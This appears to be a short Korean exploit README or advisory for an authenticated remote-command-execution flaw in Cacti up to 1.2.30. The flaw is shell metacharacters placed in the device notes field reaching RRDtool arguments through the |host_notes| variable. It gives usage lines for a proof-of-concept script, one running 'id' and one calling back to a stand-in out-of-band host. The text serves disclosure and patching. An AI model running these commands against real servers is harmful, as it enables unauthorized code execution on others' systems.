
Cacti ≤ 1.2.30 Auth RCE - 호스트 변수 주입
Cacti ≤ 1.2.30의 OS 명령 주입 취약점으로 인해 장치 및 그래프 템플릿 생성 권한이 있는 모든 인증된 사용자가 기본 서버에서 임의의 명령을 실행할 수 있습니다. 이 결함은 사용자가 제어하는 호스트 메타데이터 필드(특히 장치 메모 필드)가 Cacti의 변수 대체 엔진을 통해 RRDtool 명령줄 인수에 삽입될 때 삭제 또는 이스케이프 없이 처리되기 때문에 발생합니다. 공격자는 메모 필드에 셸 메타문자를 삽입하고 |host_notes| 변수를 참조하는 그래프 템플릿을 작성한 후 그래프 렌더링을 트리거하여 웹 서버 사용자로 완전한 원격 코드 실행을 달성할 수 있습니다.
python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --cmd 'id'
OOB 명령 실행:
python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --oob your.oastify.com
